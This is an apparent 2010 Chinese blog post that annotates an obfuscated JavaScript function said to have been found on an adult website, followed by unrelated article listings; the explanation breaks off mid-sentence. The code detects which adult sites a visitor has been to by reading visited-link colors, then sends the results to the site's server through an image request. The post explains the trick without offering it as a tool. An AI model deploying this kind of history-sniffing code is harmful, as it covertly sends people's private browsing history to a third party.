悄悄用脚本检查你访问过哪些网站的代码


Posted in Javascript onDecember 04, 2010

打开它的“页面源文件”,你能找到一段加密过的JS脚本:

function ypol(){ 
//K是一个对象,实际上是一个数组。存了一堆加密过的pr*n站链接。 
var k={0:"qpsoivc/dpn",1:"sfeuvcf/dpn",2:"bevmugsjfoeg joefs/dpn",3:"ywjefpt/dpn",4:"uvcf9/dpn",5:"yoyy/d pn",6:"nfhbqpso/dpn",7:"nfhbspujd/dpn",8:"yibntufs /dpn",9:"bxfnqjsf/dpn",10:"sfbmjuzljoht/dpn",11:"c sb{{fst/dpn",12:"yuvcf/dpn",13:"cbohcspt2/dpn",14: "gmjoh/dpn",15:"gsffpoft/dpn",16:"nzgsffqbztjuf/dp n",17:"efcpobjscmph/dpn",18:"qbztfswf/dpn",19:"nby qpso/dpn",20:"wjefpt{/dpn",21:"bfco/ofu",22:"qpsop sbnb/dpn"}; 
var g=[]; 
for(var m in k){ 
var d=k[m]; //遍历k中的元素赋值给d 
var a=""; 
for(var f=0;f<d.length;f++){ 
a+=String.fromCharCode(d.charCodeAt(f)-1); 
}/* 这里把d中的每一条字符都还原了。 
* charCodeAt(char) 函数返回char的ascii码 
* String.fromCharCode(asccii) 返回ascii码对应的字符 
* 然后把结果赋值给a 
* 比如第一次循环,a的值就是 qpsoivc/dpn -> pornhub.com 
*/ 
var h=false; 
/* 
* 这个循环创建A对象并让链接赋值为 http://a/ 和 http://www.a/ 
* 为什么要循环来2次,目的是为了准确性 
* 访问 http://example.com/ 和 http://www.example.com/ 对于浏览器来说,是不同的域名 
* 所以要区别对待 
*/ 
for(var j in {"http://":"","http://www.":""}){ 
var l=document.createElement("a"); //创建一个A对象 
l.href=j+a; 
document.getElementById("ol").appendChild(l); 
// A对象附加给一个id为ol的元素上,要附加在一个在DOM树上的元素,浏览器才会render这个元素,并设置合适的CSS 
var e=""; 
if(navigator.appName.indexOf("Microsoft")!=-1){ 
e=l.currentStyle.color; //取IE中A对象的颜色 
}else { 
e=document.defaultView.getComputedStyle(l,null).ge tPropertyValue("color"); 
//取其他标准浏览器的颜色 
} 
if(e=="#0c2238"||e=="#0c2238"){ 
/* 
* 如果是紫色,就表示访问过此站点。 
* 浏览器默认给访问过的链接标记为紫色 
* a:visited{color: #123456} 
*/ 
h=true; 
} 
} 
if(h){ //如果访问过,把站点加入列表g 
g.push(m); 
} 
} 
var b=(g instanceof Array)?g.join(","):""; //把g由数组变成字符串 
var c=document.createElement("img"); //建立一个img对象 
c.src="http://ol.youporn.com/blank.gif?id="+b; //img的src指向自家服务器上的一幅图像,关键是附带上了g数组的值 
document.getElementById("ol").appendChild(c); //加入DOM树,理由跟前面的A一样 
/* 
* 以一次图片访问,在web-server
Javascript 相关文章推荐
Javascript操作select方法大全[新增、修改、删除、选中、清空、判断存在等]
Sep 26 Javascript
jQuery下通过$.browser来判断浏览器.
Apr 05 Javascript
Javascript 中 null、NaN和undefined的区别总结
Apr 10 Javascript
使用CSS和jQuery模拟select并附提交后取得数据的代码
Oct 18 Javascript
查看大图功能代码jquery版
Nov 05 Javascript
jQuery中replaceAll()方法用法实例
Jan 16 Javascript
jquery ajax 如何向jsp提交表单数据
Aug 23 Javascript
JavaScript中的Number数字类型学习笔记
May 26 Javascript
JavaScript实现复制文章自动添加版权
Aug 02 Javascript
基于Bootstrap的Metronic框架实现条码和二维码的生成及打印处理操作
Aug 29 Javascript
原生js实现手风琴功能(支持横纵向调用)
Jan 13 Javascript
JavaScript数据结构之二叉树的删除算法示例
Apr 13 Javascript
jQuery)扩展jQuery系列之一 模拟alert,confirm(一)
Dec 04 #Javascript
高效的表格行背景隔行变色及选定高亮的JS代码
Dec 04 #Javascript
javascript innerHTML使用分析
Dec 03 #Javascript
统计出现最多的字符次数的js代码
Dec 03 #Javascript
解决jquery的.animate()函数在IE6下的问题
Dec 03 #Javascript
基于jQuery的左右滚动实现代码
Dec 03 #Javascript
基于jquery的finkyUI插件与Ajax实现页面数据加载功能
Dec 03 #Javascript
You might like
mysql 中InnoDB和MyISAM的区别分析小结
2008/04/15 PHP
php使用APC实现实时上传进度条功能
2015/10/26 PHP
PHP实现获取并生成数据库字典的方法
2016/05/04 PHP
详解如何在云服务器上部署Laravel
2017/06/30 PHP
JS 建立对象的方法
2007/04/21 Javascript
js模拟弹出效果代码修正版
2008/08/07 Javascript
JS实现随机化快速排序的实例代码
2013/08/01 Javascript
JS 操作Array数组的方法及属性实例解析
2014/01/08 Javascript
jquery实现适用于门户站的导航下拉菜单效果代码
2015/08/24 Javascript
js实现跨域的4种实用方法原理分析
2015/10/29 Javascript
js实现prototype扩展的方法(字符串,日期,数组扩展)
2016/01/14 Javascript
JS中innerHTML和pasteHTML的区别实例分析
2016/06/22 Javascript
Angular多选、全选、批量选择操作实例代码
2017/03/10 Javascript
javascript实现动态显示颜色块的报表效果
2017/04/10 Javascript
在 Node.js 中使用原生 ES 模块方法解析
2017/09/19 Javascript
利用d3.js制作连线动画图与编辑器的方法实例
2019/09/05 Javascript
JS实现吸顶特效
2020/01/08 Javascript
解决Mint-ui 框架Popup和Datetime Picker组件滚动穿透的问题
2020/11/04 Javascript
[01:02:38]DOTA2-DPC中国联赛定级赛 LBZS vs Phoenix BO3第二场 1月10日
2021/03/11 DOTA
简单谈谈python的反射机制
2016/06/28 Python
Python实现八大排序算法
2016/08/13 Python
Python八大常见排序算法定义、实现及时间消耗效率分析
2018/04/27 Python
python交换两个变量的值方法
2019/01/12 Python
浅谈Django中view对数据库的调用方法
2019/07/18 Python
Python爬虫爬取微信朋友圈
2020/08/06 Python
纯CSS3实现圆角效果(含IE兼容解决方法)
2014/05/07 HTML / CSS
Canvas在超级玛丽游戏中的应用详解
2021/02/06 HTML / CSS
美国知名日用品连锁超市:Dollar General(多来店)
2017/01/14 全球购物
Europcar葡萄牙:葡萄牙汽车和货车租赁
2017/10/13 全球购物
澳大利亚鞋仓库:Shoe Warehouse
2019/07/25 全球购物
俄罗斯极限运动网上商店:Board Shop №1
2020/12/18 全球购物
老师的检讨书
2014/02/23 职场文书
2014校长四风问题对照检查材料思想汇报
2014/09/16 职场文书
2014年全国爱牙日宣传活动方案
2014/09/21 职场文书
2015年资料员工作总结
2015/04/25 职场文书
法定代表人身份证明书
2015/06/18 职场文书